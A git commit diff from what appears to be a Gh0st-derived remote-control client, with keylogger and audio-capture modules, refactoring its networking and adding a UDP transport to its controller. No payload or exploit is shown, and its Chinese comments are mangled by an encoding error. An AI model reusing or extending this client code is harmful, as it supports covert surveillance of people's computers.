layout: Reorganize TCP client/server code
This commit is contained in:
@@ -25,7 +25,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
|
|||||||
}
|
}
|
||||||
|
|
||||||
BYTE bToken = TOKEN_AUDIO_START;
|
BYTE bToken = TOKEN_AUDIO_START;
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
|
|
||||||
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
szPacket = NULL;
|
szPacket = NULL;
|
||||||
@@ -84,7 +84,7 @@ BOOL CAudioManager::SendRecordBuffer()
|
|||||||
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
|
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
|
||||||
if (dwBufferSize > 0)
|
if (dwBufferSize > 0)
|
||||||
{
|
{
|
||||||
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
|
dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
|
||||||
}
|
}
|
||||||
return dwReturn;
|
return dwReturn;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,7 +11,10 @@
|
|||||||
#define CLIENT_PARALLEL_NUM 1
|
#define CLIENT_PARALLEL_NUM 1
|
||||||
|
|
||||||
// Զ<>̵<EFBFBD>ַ
|
// Զ<>̵<EFBFBD>ַ
|
||||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION};
|
CONNECT_ADDRESS g_SETTINGS = {
|
||||||
|
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
||||||
|
FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM,
|
||||||
|
};
|
||||||
|
|
||||||
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
||||||
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
|
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
|
||||||
@@ -480,7 +483,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||||
}
|
}
|
||||||
State& bExit(app.g_bExit);
|
State& bExit(app.g_bExit);
|
||||||
IOCPClient *ClientObject = new IOCPClient(bExit);
|
IOCPClient *ClientObject = NewNetClient(&settings, bExit);
|
||||||
CKernelManager* Manager = nullptr;
|
CKernelManager* Manager = nullptr;
|
||||||
|
|
||||||
if (!app.m_bShared) {
|
if (!app.m_bShared) {
|
||||||
|
|||||||
@@ -170,6 +170,7 @@
|
|||||||
<ClCompile Include="Common.cpp" />
|
<ClCompile Include="Common.cpp" />
|
||||||
<ClCompile Include="FileManager.cpp" />
|
<ClCompile Include="FileManager.cpp" />
|
||||||
<ClCompile Include="IOCPClient.cpp" />
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
|
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||||
<ClCompile Include="KernelManager.cpp" />
|
<ClCompile Include="KernelManager.cpp" />
|
||||||
<ClCompile Include="KeyboardManager.cpp" />
|
<ClCompile Include="KeyboardManager.cpp" />
|
||||||
<ClCompile Include="keylogger.cpp" />
|
<ClCompile Include="keylogger.cpp" />
|
||||||
@@ -200,6 +201,7 @@
|
|||||||
<ClInclude Include="CursorInfo.h" />
|
<ClInclude Include="CursorInfo.h" />
|
||||||
<ClInclude Include="FileManager.h" />
|
<ClInclude Include="FileManager.h" />
|
||||||
<ClInclude Include="IOCPClient.h" />
|
<ClInclude Include="IOCPClient.h" />
|
||||||
|
<ClInclude Include="IOCPUDPClient.h" />
|
||||||
<ClInclude Include="KernelManager.h" />
|
<ClInclude Include="KernelManager.h" />
|
||||||
<ClInclude Include="KeyboardManager.h" />
|
<ClInclude Include="KeyboardManager.h" />
|
||||||
<ClInclude Include="keylogger.h" />
|
<ClInclude Include="keylogger.h" />
|
||||||
|
|||||||
@@ -98,6 +98,7 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
|||||||
|
|
||||||
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||||
{
|
{
|
||||||
|
m_ServerAddr = {};
|
||||||
m_nHostPort = 0;
|
m_nHostPort = 0;
|
||||||
m_Manager = NULL;
|
m_Manager = NULL;
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
@@ -126,12 +127,7 @@ IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
|||||||
IOCPClient::~IOCPClient()
|
IOCPClient::~IOCPClient()
|
||||||
{
|
{
|
||||||
m_bIsRunning = FALSE;
|
m_bIsRunning = FALSE;
|
||||||
|
Disconnect();
|
||||||
if (m_sClientSocket!=INVALID_SOCKET)
|
|
||||||
{
|
|
||||||
closesocket(m_sClientSocket);
|
|
||||||
m_sClientSocket = INVALID_SOCKET;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (m_hWorkThread!=NULL)
|
if (m_hWorkThread!=NULL)
|
||||||
{
|
{
|
||||||
@@ -210,13 +206,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
}
|
}
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
|
m_ServerAddr.sin_family = AF_INET;
|
||||||
sockaddr_in ServerAddr;
|
m_ServerAddr.sin_port = htons(port);
|
||||||
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||||
ServerAddr.sin_port = htons(port);
|
|
||||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
|
||||||
|
|
||||||
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
if (connect(m_sClientSocket,(SOCKADDR *)&m_ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
||||||
{
|
{
|
||||||
if (m_sClientSocket!=INVALID_SOCKET)
|
if (m_sClientSocket!=INVALID_SOCKET)
|
||||||
{
|
{
|
||||||
@@ -226,12 +220,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
#else
|
#else
|
||||||
sockaddr_in ServerAddr = {};
|
m_ServerAddr.sin_family = AF_INET;
|
||||||
ServerAddr.sin_family = AF_INET; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
m_ServerAddr.sin_port = htons(port);
|
||||||
ServerAddr.sin_port = htons(port);
|
|
||||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||||
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
|
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
|
||||||
if (inet_pton(AF_INET, m_sCurIP.c_str(), &ServerAddr.sin_addr) <= 0) {
|
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
|
||||||
Mprintf("Invalid address or address not supported\n");
|
Mprintf("Invalid address or address not supported\n");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@@ -244,7 +237,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
|
if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) {
|
||||||
Mprintf("Connection failed\n");
|
Mprintf("Connection failed\n");
|
||||||
close(m_sClientSocket);
|
close(m_sClientSocket);
|
||||||
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
|
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
|
||||||
@@ -320,7 +313,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
else if (iRet > 0)
|
else if (iRet > 0)
|
||||||
{
|
{
|
||||||
int iReceivedLength = recv(This->m_sClientSocket, szBuffer, MAX_RECV_BUFFER-1, 0);
|
int iReceivedLength = This->ReceiveData(szBuffer, MAX_RECV_BUFFER-1, 0);
|
||||||
if (iReceivedLength <= 0)
|
if (iReceivedLength <= 0)
|
||||||
{
|
{
|
||||||
int a = WSAGetLastError();
|
int a = WSAGetLastError();
|
||||||
@@ -496,7 +489,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
|||||||
int j = 0;
|
int j = 0;
|
||||||
for (; j < ulSendRetry; ++j)
|
for (; j < ulSendRetry; ++j)
|
||||||
{
|
{
|
||||||
iReturn = send(m_sClientSocket, Travel, ulSplitLength, 0);
|
iReturn = SendTo(Travel, ulSplitLength, 0);
|
||||||
if (iReturn > 0)
|
if (iReturn > 0)
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
@@ -516,7 +509,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
|||||||
int j = 0;
|
int j = 0;
|
||||||
for (; j < ulSendRetry; j++)
|
for (; j < ulSendRetry; j++)
|
||||||
{
|
{
|
||||||
iReturn = send(m_sClientSocket, (char*)Travel,i,0);
|
iReturn = SendTo((char*)Travel,i,0);
|
||||||
|
|
||||||
if (iReturn > 0)
|
if (iReturn > 0)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -2,12 +2,7 @@
|
|||||||
//
|
//
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
|
|
||||||
#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_
|
|
||||||
|
|
||||||
#if _MSC_VER > 1000
|
|
||||||
#pragma once
|
#pragma once
|
||||||
#endif // _MSC_VER > 1000
|
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
@@ -64,28 +59,18 @@ class IOCPClient
|
|||||||
public:
|
public:
|
||||||
IOCPClient(State& bExit, bool exit_while_disconnect = false);
|
IOCPClient(State& bExit, bool exit_while_disconnect = false);
|
||||||
virtual ~IOCPClient();
|
virtual ~IOCPClient();
|
||||||
SOCKET m_sClientSocket;
|
|
||||||
CBuffer m_CompressedBuffer;
|
|
||||||
BOOL m_bWorkThread;
|
|
||||||
HANDLE m_hWorkThread;
|
|
||||||
#if USING_CTX
|
|
||||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
#endif
|
|
||||||
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
||||||
LOGIN_INFOR tmp = logInfo;
|
LOGIN_INFOR tmp = logInfo;
|
||||||
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
||||||
|
|
||||||
return iRet;
|
return iRet;
|
||||||
}
|
}
|
||||||
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
|
||||||
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
|
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
|
||||||
return OnServerSending(szBuffer, ulOriginalLength);
|
return OnServerSending(szBuffer, ulOriginalLength);
|
||||||
}
|
}
|
||||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
|
||||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
|
||||||
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
|
||||||
|
|
||||||
void SetServerAddress(const char* szServerIP, unsigned short uPort) {
|
void SetServerAddress(const char* szServerIP, unsigned short uPort) {
|
||||||
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
|
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
|
||||||
@@ -101,14 +86,8 @@ public:
|
|||||||
m_bIsRunning = FALSE;
|
m_bIsRunning = FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL m_bIsRunning;
|
|
||||||
BOOL m_bConnected;
|
|
||||||
|
|
||||||
char m_szPacketFlag[FLAG_LENGTH + 3];
|
|
||||||
|
|
||||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
||||||
|
|
||||||
VOID Disconnect();
|
|
||||||
VOID RunEventLoop(const BOOL &bCondition);
|
VOID RunEventLoop(const BOOL &bCondition);
|
||||||
bool IsConnected() const { return m_bConnected == TRUE; }
|
bool IsConnected() const { return m_bConnected == TRUE; }
|
||||||
BOOL Reconnect(void* manager) {
|
BOOL Reconnect(void* manager) {
|
||||||
@@ -116,14 +95,43 @@ public:
|
|||||||
if (manager) m_Manager = manager;
|
if (manager) m_Manager = manager;
|
||||||
return ConnectServer(NULL, 0);
|
return ConnectServer(NULL, 0);
|
||||||
}
|
}
|
||||||
public:
|
State& GetState() {
|
||||||
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
return g_bExit;
|
||||||
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
}
|
||||||
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
protected:
|
||||||
DomainPool m_Domain;
|
virtual int ReceiveData(char* buffer, int bufSize, int flags) {
|
||||||
std::string m_sCurIP;
|
// TCP<43>汾<EFBFBD><E6B1BE><EFBFBD><EFBFBD> recv
|
||||||
int m_nHostPort;
|
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||||
bool m_exit_while_disconnect;
|
}
|
||||||
};
|
virtual VOID Disconnect(); // <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> TCP/UDP
|
||||||
|
virtual int SendTo(const char* buf, int len, int flags) {
|
||||||
|
return ::send(m_sClientSocket, buf, len, flags);
|
||||||
|
}
|
||||||
|
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||||
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
|
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||||
|
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
||||||
|
|
||||||
#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
|
protected:
|
||||||
|
sockaddr_in m_ServerAddr;
|
||||||
|
char m_szPacketFlag[FLAG_LENGTH + 3];
|
||||||
|
SOCKET m_sClientSocket;
|
||||||
|
CBuffer m_CompressedBuffer;
|
||||||
|
BOOL m_bWorkThread;
|
||||||
|
HANDLE m_hWorkThread;
|
||||||
|
BOOL m_bIsRunning;
|
||||||
|
BOOL m_bConnected;
|
||||||
|
|
||||||
|
#if USING_CTX
|
||||||
|
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||||
|
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
DomainPool m_Domain;
|
||||||
|
std::string m_sCurIP;
|
||||||
|
int m_nHostPort;
|
||||||
|
bool m_exit_while_disconnect;
|
||||||
|
};
|
||||||
|
|||||||
60
client/IOCPUDPClient.cpp
Normal file
60
client/IOCPUDPClient.cpp
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
#include "IOCPUDPClient.h"
|
||||||
|
|
||||||
|
|
||||||
|
BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) {
|
||||||
|
if (szServerIP != NULL && uPort != 0) {
|
||||||
|
SetServerAddress(szServerIP, uPort);
|
||||||
|
}
|
||||||
|
m_sCurIP = m_Domain.SelectIP();
|
||||||
|
unsigned short port = m_nHostPort;
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD> UDP socket
|
||||||
|
m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||||
|
if (m_sClientSocket == INVALID_SOCKET) {
|
||||||
|
Mprintf("Failed to create UDP socket\n");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>ṹ
|
||||||
|
memset(&m_ServerAddr, 0, sizeof(m_ServerAddr));
|
||||||
|
m_ServerAddr.sin_family = AF_INET;
|
||||||
|
m_ServerAddr.sin_port = htons(port);
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||||
|
#else
|
||||||
|
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
|
||||||
|
Mprintf("Invalid address or address not supported\n");
|
||||||
|
closesocket(m_sClientSocket);
|
||||||
|
m_sClientSocket = INVALID_SOCKET;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// UDP<44><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> connect()<29><>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> TCP keep-alive <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>
|
||||||
|
if (m_hWorkThread == NULL) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
|
||||||
|
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||||
|
#else
|
||||||
|
pthread_t id = 0;
|
||||||
|
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("UDP client socket created and ready to send.\n");
|
||||||
|
m_bConnected = TRUE;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags) {
|
||||||
|
sockaddr_in fromAddr;
|
||||||
|
int fromLen = sizeof(fromAddr);
|
||||||
|
return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen);
|
||||||
|
}
|
||||||
|
|
||||||
|
int IOCPUDPClient::SendTo(const char* buf, int len, int flags) {
|
||||||
|
return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr));
|
||||||
|
}
|
||||||
16
client/IOCPUDPClient.h
Normal file
16
client/IOCPUDPClient.h
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
class IOCPUDPClient : public IOCPClient
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect){}
|
||||||
|
|
||||||
|
virtual ~IOCPUDPClient(){}
|
||||||
|
|
||||||
|
virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override;
|
||||||
|
|
||||||
|
virtual int ReceiveData(char* buffer, int bufSize, int flags) override;
|
||||||
|
|
||||||
|
virtual int SendTo(const char* buf, int len, int flags) override;
|
||||||
|
};
|
||||||
@@ -13,11 +13,22 @@
|
|||||||
#include "common/dllRunner.h"
|
#include "common/dllRunner.h"
|
||||||
#include "server/2015Remote/pwd_gen.h"
|
#include "server/2015Remote/pwd_gen.h"
|
||||||
#include <common/iniFile.h>
|
#include <common/iniFile.h>
|
||||||
|
#include "IOCPUDPClient.h"
|
||||||
|
|
||||||
|
// UDP Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
|
||||||
|
if (conn->protoType == PROTO_TCP)
|
||||||
|
return new IOCPClient(bExit, exit_while_disconnect);
|
||||||
|
if (conn->protoType == PROTO_UDP)
|
||||||
|
return new IOCPUDPClient(bExit, exit_while_disconnect);
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
|
||||||
static ThreadInfo tKeyboard;
|
static ThreadInfo tKeyboard;
|
||||||
tKeyboard.run = FOREVER_RUN;
|
tKeyboard.run = FOREVER_RUN;
|
||||||
tKeyboard.p = new IOCPClient(bExit, false);
|
tKeyboard.p = NewNetClient(conn, bExit, false);
|
||||||
tKeyboard.conn = conn;
|
tKeyboard.conn = conn;
|
||||||
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
|
||||||
return &tKeyboard;
|
return &tKeyboard;
|
||||||
@@ -350,7 +361,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
case COMMAND_BYE:
|
case COMMAND_BYE:
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
g_bExit = S_CLIENT_EXIT;
|
g_bExit = S_CLIENT_EXIT;
|
||||||
Mprintf("======> Client exit \n");
|
Mprintf("======> Client exit \n");
|
||||||
break;
|
break;
|
||||||
@@ -359,7 +370,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
case SERVER_EXIT:
|
case SERVER_EXIT:
|
||||||
{
|
{
|
||||||
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
g_bExit = S_SERVER_EXIT;
|
g_bExit = S_SERVER_EXIT;
|
||||||
Mprintf("======> Server exit \n");
|
Mprintf("======> Server exit \n");
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -20,6 +20,9 @@
|
|||||||
#include <TlHelp32.h>
|
#include <TlHelp32.h>
|
||||||
#include "LoginServer.h"
|
#include "LoginServer.h"
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>þ<EFBFBD><C3BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôͨѶЭ<D1B6><D0AD>
|
||||||
|
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect = false);
|
||||||
|
|
||||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit);
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit);
|
||||||
|
|
||||||
class ActivityWindow {
|
class ActivityWindow {
|
||||||
|
|||||||
@@ -156,7 +156,7 @@ HDESK SelectDesktop(TCHAR* name)
|
|||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit)
|
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
|
||||||
{
|
{
|
||||||
m_bReady = TRUE;
|
m_bReady = TRUE;
|
||||||
m_ClientObject = ClientObject;
|
m_ClientObject = ClientObject;
|
||||||
@@ -180,7 +180,7 @@ int CManager::Send(LPBYTE lpData, UINT nSize)
|
|||||||
int nRet = 0;
|
int nRet = 0;
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
nRet = m_ClientObject->OnServerSending((char*)lpData, nSize);
|
nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
|
||||||
